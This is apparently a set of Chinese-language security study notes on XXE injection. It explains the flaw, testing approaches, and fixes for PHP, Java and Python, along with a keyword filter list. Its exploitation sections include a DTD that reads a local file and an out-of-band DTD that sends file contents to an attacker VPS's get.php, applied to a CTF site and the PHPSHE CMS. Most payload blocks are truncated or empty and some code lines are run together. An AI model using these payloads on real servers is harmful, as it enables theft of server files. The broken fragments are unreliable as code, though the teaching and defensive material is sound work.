XXE

XXE
Att@ckxuXML
XML被设计为传输和存储数据,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。等同于JSON传输。
XXE漏洞XML External Entity Injection,即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取(最常用)、命令执行、内网扫描、攻击内网等危害。
php原生态代码只能造成文件读取,其他的例如命令执行那些都是跟一些第三方库导致的安全问题有关
XML 与 HTML 的主要差异:
XML 被设计为传输和存储数据,其焦点是数据的内容。
HTML 被设计用来显示数据,其焦点是数据的外观。
HTML 旨在显示信息 ,而XML旨在传输存储信息。
Example:网站的xml文件解析
客户端:使用json发送数据,服务端:使用json接收数据
客户端:使用xml发送数据,服务端:使用xml接收数据
xml如果发送恶意数据,造成XXE注入
测试思路
黑盒
- 获取得到Content-Type或数据类型为xml时,尝试xml语言payload进行测试
- 不管获取的Content-Type类型或数据传输类型,均可尝试修改后提交测试xxe
- XXE不仅在数据传输上可能存在漏洞,同样在文件上传引用插件解析或预览也会造成文件中的XXE Payload被执行
获取得到Content-Type或数据类型为xml时,尝试xml语言payload进行测试
白盒
- 可通过应用功能追踪代码定位审计
- 可通过脚本特定函数搜索定位审计
- 可通过伪协议玩法绕过相关修复等
XXE修复防御方案
方案1-禁用外部实体
PHP:
libxml_disable_entity_loader(true); |
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false); |
Python:
from lxml import etreexmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False)) |
方案2-过滤用户提交的XML数据
过滤关键词:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC
利用
有回显
读取文件
发现是xml传递数据,且数据包有回显,将payload覆盖插入request请求体中
"1.0" xml version= |
外部实体引用dtd
先创建一个dtd文件,payload里引用这个dtd文件,使dtd文件内容可以被执行
xxe.dtd:
<!ENTITY send SYSTEM "file:///d:/1.txt"> |
payload:
"1.0" xml version= |
无回显
无回显思路:
- 带外测试是否存在xxe
- 无回显读文件(外部实体引用dtd)
带外测试
将dnslog地址写入payload,让服务端解析xml时访问dnslog domain
payload
"1.0" xml version= |
在dnslog平台查看结果,如果接收到,说明xml被解析,存在xxe漏洞
或者可以在VPS启用一个Web服务
python -m http.server port |
无回显读文件(外部实体引用dtd)
引用外部实体dtd解析文件,文件内容为将执行结果写入另一个文件中
在VPS创建两个文件
xxe.dtd:
<!ENTITY % all "<!ENTITY send SYSTEM 'http://127.0.0.1/get.php?file=%file;'>"> |
get.php:
|
payload:
"1.0" xml version= |
xml传输到服务器,服务器解析执行1.txt中的内容,并引用VPS中的外部实体dtd文件,dtd中的内容是去访问VPS中的get.php,get.php中的内容则是将解析的1.txt的结果写入file.txt文件中,最后在服务器可以访问1.txt文件
当我们想要读取的1.txt文件中有空格时,我们可以使用可以用php伪协议来绕过
payload:
使用base64编码
"1.0" xml version= |
获得的内容再去base64解码
XML&XXE-黑盒-JSON&黑盒测试&类型修改
漏洞URL:http://web.jarvisoj.com:9882/
信息搜集时发现改网站既有json传输数据,也有xml传输数据,尝试改为xml传递数据
更改请求数据格式:Content-Type为xml格式
|
XML&XXE-白盒-CMS&PHPSHE&无回显
1、搜索漏洞函数simplexml_load_string
2、pe_getxml函数调用了漏洞函数
3、wechat_getxml调用了pe_getxml
4、notify_url.php调用了wechat_getxml
5、访问notify_url文件触发wechat_getxml函数,构造Paylod测试
先尝试读取文件,无回显后带外测试:
|
存在XXE漏洞
然后带外传递数据解决无回显:
payload:
|
test.dtd:
get.php:
Java安全-XXE注入-Reader&Builder
白盒
/** |